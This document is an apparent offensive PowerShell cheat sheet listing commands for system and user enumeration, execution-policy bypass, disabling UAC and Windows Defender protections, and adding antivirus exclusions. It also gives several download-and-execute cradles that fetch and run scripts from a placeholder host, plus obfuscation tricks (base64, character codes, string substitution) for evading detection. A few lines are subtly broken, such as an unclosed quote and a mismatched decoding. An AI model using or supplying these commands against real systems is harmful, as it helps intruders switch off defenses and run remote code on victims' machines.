Get-Help <CMDLET>
$<STRING> = 'Write-Output "Test text!"'
Invoke-Expression $<STRING>
Get-Process
Get-ComputerInfo -Property CsName,WindowsVersion,WindowsBuildLabEx,WindowsEditionId,OsArchitecture,CsProcessors,CsTotalPhysicalMemory
Get-NetAdapter
Get-NetIPAddress
Get-NetIPConfiguration
Get-LocalUser | Select-Object Name,SID,Enabled,LastLogon,Created,Modified
Get-LocalGroup
Get-LocalGroupMember -Group <GROUP NAME>
Get-ExecutionPolicy -List
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
powershell -ep bypass
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" | Select-Object -Property EnableLUA,ConsentPromptBehaviorAdmin
(EnableLUA = UAC [0 = False, 1 = True], ConsentPromptBehaviorAdmin = Prompt Behavior [0-5])
cmd.exe /c "C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
Get-NetFirewallProfile
Get-MpComputerStatus | Select AntivirusEnabled,RealTimeProtectionEnabled,IoavProtectionEnabled,AntispywareEnabled,IsTamperProtected
Get-MpPreference
(some items require admin access to display information)
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
'0x{0:x}' -f <ProductState>
(10 from the 4th number position = on)
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MPPreference -DisableBehaviourMonitoring $true
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Set-MPPreference -DisableBlockAtFirstSeen $true
Set-MPPreference -DisableEmailScanning $true
Set-MPPReference -DisableScriptScanning $true
Set-MpPreference -ExclusionExtension "ps1"
$computer = "<COMPUTER>"
$creds = Get-Credential
$script = { Write-Output "Test text!" }
Invoke-Command -ComputerName $computer -Credential $creds -ScriptBlock $script
$url = "https://site.com/script.ps1"
$script = Invoke-RestMethod -Uri $url
Invoke-Expression $script
Start-Process (open a new PS instance and run a downloaded script - useful to bypass execution policies)
$url = "https://site.com/script.ps1"
Invoke-WebRequest -Uri $url -OutFile "script.ps1"
Start-Process powershell.exe -ArgumentList "-ExecutionPolicy Bypass -File script.ps1"
$url = "https://site.com/script.ps1"
IEX (New-Object System.Net.WebClient).DownloadString($url)
$url = "https://site.com/script.ps1
$script = Invoke-WebRequest -Uri $url -UseBasicParsing
Invoke-Expression $script.Content
$url = "https://site.com/script.ps1"
$script = Invoke-RestMethod -Uri $url
Invoke-Expression $script
$url = "https://site.com/script.ps1"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination "script.ps1"
Invoke-Expression -Command (Get-Content -Path "script.ps1" -Raw)
$url = "https://site.com/script.ps1.gz"
$compressed = (New-Object System.Net.WebClient).DownloadData($url)
$stream = New-Object IO.MemoryStream
$stream.Write($compressed, 0, $compressed.Length)
$stream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
$gzip = New-Object IO.Compression.GzipStream($stream,[IO.Compression.CompressionMode]::Decompress)
$reader = New-Object IO.StreamReader($gzip)
$script = $reader.ReadToEnd()
Invoke-Expression $script
$encoded = "V3JpdGUtT3V0cHV0ICJUZXN0IHRleHQi"
$decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
$decoded
$obfuscated = "abcdef-ghijkl 'Test text'"
$command = $obfuscated -replace 'abcdef', 'Write' -replace 'ghijkl', 'Output'
$command
Invoke-Expression $command
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("V3JpdGUtT3V0cHV0ICJUZXN0IHRleHQi")))
function ABC {
param ($a)
Write-Output $a
}
ABC "Test!"
(Show-Message -> ABC)
$unicode = [char]0x57 + [char]0x72 + [char]0x69 + [char]0x74 + [char]0x65 + [char]0x2d + [char]0x4f + [char]0x75 + [char]0x74 + [char]0x70 + [char]0x75 + [char]0x74 + [char]0x20 + [char]0x22 + [char]0x48 + [char]0x65 + [char]0x6c + [char]0x6c + [char]0x6f + [char]0x21 + [char]0x22
$unicode
iex $unicode
$wc = New-Object System.Net.WebClient
$varName = "w" + "e" + "b" + "C" + "l" + "i" + "e" + "n" + "t"
Set-Variable -Name $varName -Value (New-Object System.Net.WebClient)
$webclient